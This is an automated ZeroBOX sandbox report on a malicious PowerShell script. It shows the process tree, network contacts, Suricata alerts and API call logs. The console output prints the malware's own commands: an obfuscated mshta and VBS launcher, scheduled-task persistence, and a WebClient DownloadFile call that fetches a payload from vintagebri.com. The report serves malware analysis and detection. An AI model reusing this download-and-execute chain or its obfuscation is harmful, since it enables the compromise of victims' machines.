Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 28, 2021, 3:49 p.m.	Sept. 28, 2021, 3:52 p.m.

Size	2.3KB
Type	ASCII text, with CRLF line terminators
MD5	`558b36f8a32ae12313078e388acfaa87`
SHA256	`8cd8713e81f8e4bbc7ff48f42f2bed6aa7b65ef1270845fec3e49c114d36bd5f`
CRC32	`64E75494`
ssdeep	`48:HEDpd6oj8CRH6oxS6oACG7tpAD6Xp+dLwvhPD8nd8IhABZNcRL7IH:13Y3hQGXQZwZr8nd8IWBjcRo`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\Final.txt.ps1
2300
- wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\StateWindow.vbs"
  2784
  - cmd.exe cmd /c ""C:\Users\Public\WindowsState.bat" "
    2568
    - mshta.exe mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C"+":"+"\"+"U"+"s"+"e"+"r"+"s"+"\"+"P"+"u"+"b"+"l"+"i"+"c"+"\statewindow.ps1'"", 0:close")
      2600
      - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\statewindow.ps1'
        2884
- wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\StateWindow.vbs"
  2232
  - cmd.exe cmd /c ""C:\Users\Public\WindowsState.bat" "
    2576
    - mshta.exe mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C"+":"+"\"+"U"+"s"+"e"+"r"+"s"+"\"+"P"+"u"+"b"+"l"+"i"+"c"+"\statewindow.ps1'"", 0:close")
      1940
      - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\statewindow.ps1'
        2088

Name	Response	Post-Analysis Lookup
vintagebri.com	A 107.180.75.214	107.180.75.214

IP Address	Status	Action
107.180.75.214	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49174 -> 107.180.75.214:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49175 -> 107.180.75.214:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 28, 2021, 3:50 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 28, 2021, 3:50 p.m.			0	0
IsDebuggerPresent Sept. 28, 2021, 3:50 p.m.			0	0

Command line console output was observed (50 out of 70 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: Mode LastWriteTime Length Name console_handle: 0x0000001b	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: d---- 2021-09-28 오후 3:50 WindowsHost console_handle: 0x00000023	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: Directory: C:\ProgramData\WindowsHost console_handle: 0x00000037	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: Mode LastWriteTime Length Name console_handle: 0x00000043	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: -a--- 2021-09-28 오후 3:50 0 StateWindow.vbs console_handle: 0x0000004b	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: set alosh = wscript.createobject("WScript.shell") console_handle: 0x0000004f	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: alosh.run """C:\Users\Public\WindowsState.bat"" ", 0, true console_handle: 0x00000053	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: Set alosh = Nothing console_handle: 0x00000057	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: Directory: C:\Users\Public console_handle: 0x0000006b	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: Mode LastWriteTime Length Name console_handle: 0x00000077	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: -a--- 2021-09-28 오후 3:50 0 WindowsState.bat console_handle: 0x0000007f	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -Execu console_handle: 0x00000013	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: tionPolicy Bypass & 'C"+":"+"\"+"U"+"s"+"e"+"r"+"s"+"\"+"P"+"u"+"b"+"l"+"i"+"c" console_handle: 0x00000013	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: +"\statewindow.ps1'"", 0:close") console_handle: 0x00000013	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: The term 'New-ScheduledTaskAction' is not recognized as the name of a cmdlet, f console_handle: 0x00000027	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: unction, script file, or operable program. Check the spelling of the name, or i console_handle: 0x00000033	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: f a path was included, verify that the path is correct and try again. console_handle: 0x0000003f	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Final.txt.ps1:30 char:34 console_handle: 0x0000004b	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + $action = New-ScheduledTaskAction <<<< -Execute 'C:\ProgramData\WindowsHost\ console_handle: 0x00000057	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: StateWindow.vbs' console_handle: 0x00000063	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + CategoryInfo : ObjectNotFound: (New-ScheduledTaskAction:String) console_handle: 0x0000006f	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: [], CommandNotFoundException console_handle: 0x0000007b	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000087	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: The term 'New-ScheduledTaskTrigger' is not recognized as the name of a cmdlet, console_handle: 0x000000a7	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: function, script file, or operable program. Check the spelling of the name, or console_handle: 0x000000b3	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: if a path was included, verify that the path is correct and try again. console_handle: 0x000000bf	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Final.txt.ps1:31 char:36 console_handle: 0x000000cb	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + $trigger = New-ScheduledTaskTrigger <<<< -Once -At (Get-Date) -RepetitionInt console_handle: 0x000000d7	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: erval (New-TimeSpan -Minutes 2) console_handle: 0x000000e3	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + CategoryInfo : ObjectNotFound: (New-ScheduledTaskTrigger:String console_handle: 0x000000ef	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: ) [], CommandNotFoundException console_handle: 0x000000fb	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000107	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: The term 'Register-ScheduledTask' is not recognized as the name of a cmdlet, fu console_handle: 0x00000127	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: nction, script file, or operable program. Check the spelling of the name, or if console_handle: 0x00000133	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: a path was included, verify that the path is correct and try again. console_handle: 0x0000013f	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Final.txt.ps1:32 char:23 console_handle: 0x0000014b	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + Register-ScheduledTask <<<< -Action $action -Trigger $trigger -TaskName "Win console_handle: 0x00000157	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: dowsHost" console_handle: 0x00000163	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Register-ScheduledTask:String) console_handle: 0x0000016f	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: [], CommandNotFoundException console_handle: 0x0000017b	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000187	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The underlying connecti console_handle: 0x000001a7	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: on was closed: An unexpected error occurred on a send." console_handle: 0x000001b3	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Final.txt.ps1:46 char:72 console_handle: 0x000001bf	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e" <<<< console_handle: 0x000001cb	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: ('https://vintagebri.com/.1.txt', $DEV + 'statewindow.ps1')){ console_handle: 0x000001d7	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000001e3	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x000001ef	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 28, 2021, 3:50 p.m.	buffer: mshta console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 105 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e608e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e60a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04e60a60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060bc58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c218 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c218 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c218 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060b998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060b998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060b998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060b998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060b998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060b998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c218 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c218 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c218 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060be18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 28, 2021, 3:50 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0060c698 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 28, 2021, 3:50 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 318 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 28, 2021, 3:49 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fdb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:49 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0206f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:49 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fb9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05281000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fbd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05400000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05282000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06060000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06130000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06131000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06132000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06133000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06134000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053f9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02069000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
